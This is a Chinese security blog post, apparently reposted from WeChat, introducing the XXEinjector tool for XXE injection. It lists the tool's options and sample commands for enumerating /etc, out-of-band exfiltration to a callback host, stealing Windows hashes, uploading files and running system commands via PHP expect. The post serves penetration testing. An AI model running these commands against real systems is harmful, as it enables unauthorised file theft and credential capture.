🙈前言
今天给大家介绍的是一款名叫XXEinjector
的漏洞利用工具
XXEinjector
是一款基于Ruby
的XXE注入工具
它可以使用多种直接或间接带外方法来检索文件
其中,目录枚举功能只对Java应用程序
有效
而暴力破解攻击需要使用到其他应用程序
XXEinjector
是一个使用Ruby编写的自动化xxe漏洞检测工具
可以通过给定一个http请求
的包
然后设置好好参数就会自动化的进行fuzz
他会通过内置的规则进行自动化的测试
并且还支持二次注入
(通过另一个请求触发漏洞)
🙉XXEinjector注入工具的使用
XXEinjector
本身提供了非常非常丰富的操作选项
所以大家在利用XXEinjector
进行渗透测试之前
请自习了解这些配置选项以最大限度地发挥XXEinjector的功能
当然了,由于XXEinjector
是基于Ruby开发的,所以Ruby运行环境
就是必须的了。
这里建议在kali环境
下运行。
🐯基本参数详解:
--host 必填项– 用于建立反向链接的IP地址(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径(--brute=/tmp/brute.txt)
--logger 记录输出结果
--rhost 远程主机IP或域名地址(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码
--netdoc 使用netdoc协议(Java).
--enumports 枚举用于反向链接的未过滤端口(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希
--expect 使用PHP expect扩展执行任意系统命令(--expect=ls)
--upload 使用Java jar向临时目录上传文件(--upload=/tmp/upload.txt)
--xslt XSLT注入测试
--ssl 使用SSL
--proxy 使用代理(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口(--httpport=80)
--ftpport 设置自定义FTP端口(--ftpport=21)
--gopherport 设置自定义gopher端口(--gopherport=70)
--jarport 设置自定义文件上传端口(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口(--xsltport=1337)
--test 该模式可用于测试请求的有效
--urlencode URL编码,默认为URI
--output 爆破攻击结果输出和日志信息(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性
--verbose 显示verbose信息
如果你对XXE攻击不是很了解的话
推荐大家先阅读下面这篇文章
《XXE注入攻击-XML外部实体漏洞及样本分析》
https://www.darknet.org.uk/2017/10/xxe-injection-attacks-xml-external-entity-vulnerability-examples/
或者看看我公众号的这篇文章
一篇文章带你深入理解 XXE 漏洞
😶🌫️XXEinjector使用样板
枚举HTTPS应用程序中的/etc目录
:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录
:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外
方法和netdoc协议
对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect
执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入
:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
XXEinjector-master.zip
😍XXEinjector下载地址
https://github.com/enjoiz/XXEinjector/archive/master.zip
Github地址:
https://github.com/enjoiz/XXEinjector
原文始发于微信公众号(猫因的安全):神兵利器 | XXEinjector:一款功能强大的自动化XXE注射工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论